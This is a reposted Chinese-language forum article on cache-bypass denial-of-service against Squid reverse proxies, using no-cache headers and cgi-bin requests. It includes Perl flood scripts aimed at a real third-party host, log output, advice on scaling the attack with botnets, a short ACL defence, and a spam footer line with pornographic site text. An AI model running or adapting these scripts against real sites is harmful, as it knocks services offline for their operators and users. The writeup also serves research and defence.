利用HTTP指令進行攻擊－Cache篇

只看該作者 · 發(fā)表于 2008-9-8 11:43:37

利用HTTP指令進行攻擊 －Cache篇 Coolc  Email: eanalysis AT gmail.com Homepage:blog.xfocus.net/coolc 2006-6-7 前言     Coolc早就有寫此篇文章的打算，其實文中更多的為技巧而非<A class=wordstyle href="http://www.hackdos.com/" target=_blank>技術</A>，就內容上看，在真正滲透攻擊時造成的危害并非很大，但是這些內容體現了一種思路，就是從協(xié)議指令的思想去進一步挖掘<A class=wordstyle href="http://www.hackdos.com/" target=_blank>漏洞</A>，進行可能的攻擊，我想這才是這篇文章最有價值的地方吧。也希望拙作能給同樣是從事<A class=wordstyle href="http://www.hackdos.com/" target=_blank>網絡</A><A class=wordstyle href="http://www.hackdos.com/" target=_blank>安全</A>的朋友，帶來一些靈感，也歡迎大家同我聯系。 內容 <A class=wordstyle href="http://www.hackdos.com/" target=_blank>技術</A>背景     隨著Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank>技術</A>越來越廣泛的應用到我們的生活，Web應用的架構的設計者和開發(fā)者不得不面對這么一個問題，那就是Web不斷增長的訪問量和負載，隨之提升性能的相關<A class=wordstyle href="http://www.hackdos.com/" target=_blank>技術</A>應運而生，如DNS輪詢、負載均衡、Cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank>技術</A>等等。如果有興趣，大家不妨對大型網站進行一下抓包，可以發(fā)現很多網站都采用了squid反向代理，通過Squid的Cache提供高速Web響應。 攻擊原理     Cache機制不僅給服務器處理帶來了很大程度的性能提升，一定程度上，也大大提升了Web服務提供商應對Get Flood的能力。一般常見Cache架構如下圖： 從上面的架構可以看出，用戶對網站的訪問，大多被分布的Cache服務器分擔了，由于Cache服務器的數量以及Cache的良好處理吞吐性能，即便發(fā)生了Get Flood等攻擊，此種機制也可以很好的自身消化掉攻擊負載，并且即便單一Cache主機癱瘓也不會對整體Web服務造成影響。如圖： 通過架構分析，我們可以假設這樣一種形勢，如果攻擊者可以穿過Cache，直接將負載壓力傳達到后臺提供HTTP服務的服務器，將這臺機器攻擊癱瘓，那么前臺的服務器也將因為Cache無法得到更新而服務受到影響，達到拒絕服務的效果。如下圖所示： 那么是否有方法可以達到上述效果呢？答案是肯定的，那就是通過HTTP指令來達到此種攻擊。 HTTP協(xié)議（v1.1和v1.0）都提供了Cache處理字段，其中字段Cache-Control（v1.0中為Pragma），當這個字段的值為no-cache時，大多數cache<A class=wordstyle href="http://www.hackdos.com/" target=_blank>軟件</A>將不對請求作出響應，而直接將請求傳遞到后臺服務器，利用這個指令的機制，我們就可以實現我們所要達到的攻擊效果。 效果驗證 為了驗證這種理論上的攻擊形式，Coolc架設了簡單的應用環(huán)境進行驗證。整個實驗環(huán)境架構如下： 正常訪問 而在正常情況下，Squid會在內存Cache中處理所有請求，可以發(fā)現大多數請求的壓力根本無法到達Apache，而直接在Squid消化。如下所示，500個請求，只有一個到達了Apache，而這個訪問，只是Squid為了到Apache拉取最初始的文件內容造成的。 root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l     1 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c 499 TCP_MEM_HIT/200 指令繞過 當Squid在處理訪問時，如果發(fā)現特殊的標志位后，其將會直接將請求向后轉發(fā)，同事將在訪問日志中記為一條TCP_CLIENT_REFRESH_MISS。通過下面試驗，我發(fā)送了500個帶特殊標志位的HTTP請求，直接越過了Cache，而將壓力直接加載到后臺，下面的結果我們驗證了效果 用Pragma: no-cache繞過 root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l     500 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c 500 TCP_CLIENT_REFRESH_MISS/200 用Cache-Control:no-cache繞過 root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l     500 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c     500 TCP_CLIENT_REFRESH_MISS/200 演示代碼： use I:Socket; #$host=shift(@ARGV); $i=1; while ($i<500) {     $i++;     print "\n$i\n";     $remote = I:Socket::INET->new(Proto => "tcp",     PeerPort => "80",     #PeerAddr => "blog.xfocus.net"     PeerAddr => "test.qq.com"     )||die(print "cant’t connet $!");     $remote->autoflush(1);     print  $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: <A href="http://www.google.com/" target=_blank>http://www.google.com</A>\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; <A class=wordstyle href="http://www.hack58.net/" target=_blank>Windows</A> NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-cache\r\nHOST:test.qq.com\n\n";   #print <$remote>;   close $remote;   #sleep 1;     } 實際應用 利用配置問題 在實際應用中的攻擊，也許對方網管會采取作Squid的ACL方法來屏蔽此種攻擊，但是實際環(huán)境中的攻擊種類和方法會更加多樣化，例如利用Squid默認配置中存在的問題，一樣可以達到靈巧利用此問題，并具有一定隱蔽性。 場景某網管在Squid通過ACL做了no-cache過濾，使得加雜no-cahce的指令無法穿過，但是一樣遭到了Cache拒絕服務攻擊。 攻擊原理 Squid的處理方式當返回為404、403時，通過cache處理減輕后臺Web<A class=wordstyle href="http://www.hackdos.com/" target=_blank>系統(tǒng)</A>的負擔。 通過<A class=wordstyle href="http://www.hackdos.com/" target=_blank>程序</A>用GET方式訪問500次不存在的文件“index.html。” 查看squid的日志，cache住了絕大多數請求。 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l     499 root@coolc:~/squid-2.5.STABLE12# cat  squid_access.log |awk ’{print $4’}|uniq -c 499 TCP_NEGATIVE_HIT/404 root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l 0 而實際上傳到到Apache上的壓力為0，也就是幾乎沒有壓力。TCP_NEGATIVE_HIT解決了大多數的負載，導致攻擊壓力全部不能施加在后臺的Web服務器。 從Squid的配置文件里可以看到，Squid對于特殊錯誤的返回也是做了處理的，一樣做了Cache。 #  TAG: negative_ttl    time-units #       Time-to-Live (TTL) for failed requests.  Certain types of #       failures (such as "connection refused" and "404 Not Found") are #       negatively-cached for a configurable amount of time.  The #       default is 5 minutes.  Note that this is different from #       negative caching of DNS lookups. 是否有方式可以繞過cache機制和ACL限制，將類似404壓力施加到服務器上？答案時肯定的，那就是通過訪問cgi-bin目錄下的文件。 通過執(zhí)行攻擊代碼我們同樣實現了對后臺主機的攻擊，穿透了Cache。 root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk ’{print $4’}|uniq -c 499 TCP_MISS/404 root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l 499 從日志中可以發(fā)現如下痕跡。 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298 實際上造成上述原因就死活因為默認配置中對于cgi-bin目錄做了特殊處理，導致對于其放開了Cache的限制。 #  TAG: hierarchy_stoplist #       A list of words which, if found in a URL, cause the object to #       be handled directly by this cache.  In other words, use this #       to not query neighbor caches for certain objects.  You may #       list this option multiple times. Note: never_direct overrides #       this option. #We recommend you to use at least the following line. hierarchy_stoplist cgi-bin ? #  TAG: no_cache #       A list of ACL elements which, if matched, cause the request to #       not be satisfied from the cache and the reply to not be cached. #       In other words, use this to force certain objects to never be cached. # #       You must use the word ’DENY’ to indicate the ACL names which should #       NOT be cached. # #We recommend you to use the following two lines. acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY 攻擊代碼： use I:Socket; #$host=shift(@ARGV); $i=1; while ($i<500) {     $i++;     print "\n$i\n";     $remote = I:Socket::INET->new(Proto => "tcp",     PeerPort => "80",     #PeerAddr => "blog.xfocus.net"     PeerAddr => "test.qq.com"     )||die(print "cant’t connet $!");     $remote->autoflush(1);     print  $remote "GET /cgi-bin/index.html1 HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: <A href="http://www.google.com/" target=_blank>http://www.google.com</A>\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; <A class=wordstyle href="http://www.hack58.net/" target=_blank>Windows</A> NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nHOST:test.qq.com\n\n";   #print <$remote>;   close $remote;   #sleep 1;     } 擴展思路     當然目前這種攻擊方式還僅僅是理論上的攻擊，比如攻擊代碼單線程，攻擊IP和特征明顯。很容易被識別并作ACL過濾。但是當我們擴展思路，如果我們利用大量的botnet或代理，變化所訪問的文件和HTTP指令內容進行攻擊，那么造成的攻擊將會更加有威力，并且難以識別。同時由于攻擊負責將直接加載于后臺，那么作為防御方的主機資源優(yōu)勢也大打折扣。 防御方法     最簡單有效的方法無非是通過SQUID的配置中加載ACL禁用no-cache指令，不過此方法往往只在靜態(tài)頁面的服務器比較容易實現。 如： acl LocalServers dst 192.168.8.0/24 no_cache deny LocalServers 總結     實際上HTTP指令的攻擊不僅僅與此，本身HTTP協(xié)議的擴展協(xié)議指令一樣有很多有待挖掘的地方，對于此種攻擊思路，雖然Coolc目前還沒看到相關的描述，但是個人感覺也許在地下組織中，這些思路早已出現，甚至已經有了成熟的工具，coolc在這里全當拋磚引玉，希望對<A class=wordstyle href="http://www.hackdos.com/" target=_blank>網絡</A><A class=wordstyle href="http://www.hackdos.com/" target=_blank>安全</A>有興趣的同仁可以同我聯系，共同討論研究。

賬號		自動登錄	找回密碼
密碼			注冊

国产十八禁AV网站,欧美日韩亚洲国产综合乱,亚洲国产aⅴ成人精品无吗,秋霞午夜福利影院合集

利用HTTP指令進行攻擊－Cache篇